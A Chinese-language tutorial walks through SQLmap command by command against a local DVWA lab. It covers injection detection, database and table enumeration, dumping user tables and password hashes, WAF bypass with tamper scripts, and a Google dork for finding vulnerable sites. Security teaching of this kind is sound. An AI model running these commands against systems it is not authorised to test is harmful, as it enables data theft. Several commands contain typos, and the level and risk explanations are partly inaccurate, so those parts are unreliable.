【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)
前言
SQLmap是一款开源的SQL注入工具,用于检测和利用Web应用程序的SQL注入漏洞。SQLmap支持多种数据库管理系统,包括MySQL、Oracle、PostgreSQL、Microsoft SQL Server、SQLite等,并支持各种不同的操作系统和平台。
SQLmap的下载及安装本文不再详述,下载链接:https://github.com/sqlmapproject/sqlmap
本文以DVWA作为靶场,留言板项目渗透实例可参考:留言板项目SQLmap渗透实例 | CSDN@秋说
本文分为目标、脱库、账号与其它四个部分进行讲解
文章目录
- 前言
- 目标
- 1、单个URL、Cookie
- 2、文件URL、POST
- 脱库
- 1、获取当前数据库版本
- 2、获取当前数据库名称
- 3、列出所有数据库
- 4、列出指定数据库的所有表
- 5、获取表中所有数据
- 6、搜索库、表、字段
- 7、绕过WAF
- 账号
- 1、获取所有数据
- 2、显示当前用户
- 3、检测是否为数据库管理员
- 4、获取所有用户
- 5、查看当前用户权限
- 6、获取用户的密码(hash值)
- 7、获取服务器主机名称
- 8、显示正在运行的SQL语句
- 9、以盲注方式获取web应用程序的管理员密码:
- 其它
目标
1、单个URL、Cookie
1)检测指定URL是否存在SQL注入漏洞:
python sqlmap.py -u 目标URL
2)设置Cookie参数,绕过Web应用程序的安全检查,检测是否含有SQL注入漏洞:
python sqlmap.py -u 目标URL --cookie="cookie参数"
实例如下:
提取URL进行注入:
通过上图回显可以看到302定向到login.php,故需附上cookie
由于控制台并不能回显PHP session,故通过bp抓包得到cookie:
security=low; PHPSESSID=blp5j1964tfgiov6iusv24m9uj
故POC如下:
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=blp5j1964tfgiov6iusv24m9uj"
结果如下:
说明存在SQL注入漏洞。
2、文件URL、POST
1)检测指定文件中的全部URL是否存在SQL注入漏洞
python sqlmap.py -m 文件名
实例参考该链接:留言板项目SQLmap渗透实例 | CSDN@秋说
2)通过POST请求包进行SQL注入(Burp抓包),检测是否含有SQL注入漏洞
python sqlmap.py -r POST请求包
或
python sqlmap.py -u "http://example.com/login.php" --data "username=1&password=1"(注入点)
实例参考该链接:留言板项目SQLmap渗透实例 | CSDN@秋说
3)指定进行检测的数据库类型
python sqlmap.py -u 目标URL -dbms 数据库类型
-D 指定数据库
-T 指定表
-C 指定字段
脱库
在确定能够使用SQLmap进行注入后,可以进行脱库操作。
1、获取当前数据库版本
python sqlmap.py -u 目标URL -b
实例如下:
POC含有Cookie参数
回显如下:
- Web应用程序技术:PHP版本为7.3.4,Nginx版本为1.15.11。
- 后端数据库管理系统(DBMS):MySQL版本要求大于等于5.6,实际检测到的版本为5.7.26。
2、获取当前数据库名称
python sqlmap.py -u 目标URL --current-db
实例如下:
POC含有Cookie参数
回显可知当前数据库名称为dvwa:
3、列出所有数据库
python sqlmap.py -u 目标URL --dbs
实例如下:
图中的POC含有Cookie参数
回显如下,存在两个数据库,一个为dvwa,一个为information_schema
4、列出指定数据库的所有表
python sqlmap.py -u 目标URL -D 数据库名称 --tables
实例如下:
这里列出dvwa数据库所有的表,POC含有Cookie参数
回显如下,两个表,一个为guestbook,一个为users:
5、获取表中所有数据
python sqlmap.py -u 目标URL -D 数据库名称 -T 表名称 --dump
实例如下:
这里列出users所有的数据,POC含有Cookie参数
由于密码经过hash加密,SQLmap会通过不同的加密算法遍历每个字符串,将得到的hash值与数据库中的hash进行匹配:
如图是使用md5加密后进行匹配得到密码的部分结果:
结果如图:
6、搜索库、表、字段
python sqlmap.py -u 目标URL --search
7、绕过WAF
python sqlmap.pu -u 目标URL --tamper
账号
1、获取所有数据
python sqlmap.pu -u 目标URL -a
实例如下:
POC包含cookie参数
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=blp5j1964tfgiov6iusv24m9uj" -a
结果如图:
2、显示当前用户
python sqlmap.pu -u 目标URL --current -user
实例如下:
回显如下,当前用户为admin:
3、检测是否为数据库管理员
python sqlmap.pu -u 目标URL --is-dba
实例如下:
回显如下:
当前用户不是管理员
4、获取所有用户
python sqlmap.pu -u 目标URL --users
5、查看当前用户权限
python sqlmap.pu -u 目标URL --privileges
实例如下:
回显如下:
当前权限为USAGE
6、获取用户的密码(hash值)
python sqlmap.pu -u 目标URL --passwords
7、获取服务器主机名称
python sqlmap.pu -u 目标URL --hostname
回显如下:
8、显示正在运行的SQL语句
python sqlmap.pu -u 目标URL --statements
9、以盲注方式获取web应用程序的管理员密码:
python sqlmap.py -u 目标URL --technique=T --time-sec 10 --level=3 --risk=3 --current-user --current-db --passwords
其它
1)不再询问确认:
python sqlmap.pu -u 目标URL --batch
2)指定请求方式:
python sqlmap.pu -u 目标URL --method=GET
3)随机UA:
python sqlmap.pu -u 目标URL --random-agent
4)自定义UA:
python sqlmap.pu -u 目标URL --user-agent''
5)自定义referer:
python sqlmap.pu -u 目标URL --referer''
6)指定代理:
python sqlmap.pu -u 目标URL --proxy="127.0.0.1:8080"
7)指定线程数(由1至10):
python sqlmap.pu -u 目标URL --threads 10
8)使用搜索功能来查找漏洞:
python sqlmap.py -u 目标URL --google-dork "inurl:php?id="
9)指定测试等级(由1至5):
python sqlmap.pu -u 目标URL --level=1
10)指定风险等级(由0至3):
python sqlmap.pu -u 目标URL --risk=1
level参数:指定扫描深度的级别,范围为1-5,级别越高,扫描的深度就越深。具体含义如下: 1级别:只做最基本的测试,速度最快。 2级别:会测试大部分的注入点,但不会尝试绕过WAF或IDS等安全设备。 3级别:会测试所有可疑的注入点,并尝试绕过WAF或IDS等安全设备。 4级别:比较耗时,会进行一些额外的测试和检测。 5级别:最深度的测试,将尽可能地测试所有的注入点和漏洞。 risk参数:指定扫描的风险级别,范围为0-3,级别越高,扫描的敏感性越高。具体含义如下: 0级别:只针对一些非常明显的、极易被发现的漏洞进行测试。 1级别:测试所有普通的注入点。 2级别:测试所有可疑的注入点,并使用一些高级的技术尝试绕过安全机制。 3级别:最高风险级别,尝试针对所有可能的注入点进行测试,并使用一切可用的技术和手段进行攻击。